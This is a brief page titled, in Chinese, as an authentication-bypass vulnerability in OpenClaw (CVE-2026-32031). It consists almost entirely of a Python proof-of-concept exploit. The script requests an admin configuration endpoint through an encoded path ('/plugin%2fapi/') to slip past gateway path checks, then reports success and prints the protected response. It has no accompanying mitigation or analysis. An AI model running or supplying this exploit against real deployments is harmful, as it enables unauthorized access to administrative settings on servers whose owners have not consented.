CVE-2026-32031 OpenClaw认证绕过漏洞

import requests # Target URL configuration target_host = "http://openclaw-server:8080" # The protected endpoint that usually requires authentication protected_path = "/plugin/api/admin/config" # Attempt to bypass authentication using alternative path encoding # The gateway might block "/plugin/api/" but might not block "/plugin%2fapi/" # or variations like "/plugin/./api/" if canonicalization is inconsistent. bypass_payload = "/plugin%2fapi/admin/config" print(f"[*] Attempting to access {protected_path} via bypass payload: {bypass_payload}") try: # Send the request with the malformed path response = requests.get(target_host + bypass_payload, timeout=5) if response.status_code == 200: print("[+] Exploit successful! Authentication bypassed.") print(f"[+] Response body: {response.text[:200]}") else: print(f"[-] Request failed or blocked. Status code: {response.status_code}") print(f"[-] Response: {response.text[:100]}") except Exception as e: print(f"[!] An error occurred: {e}")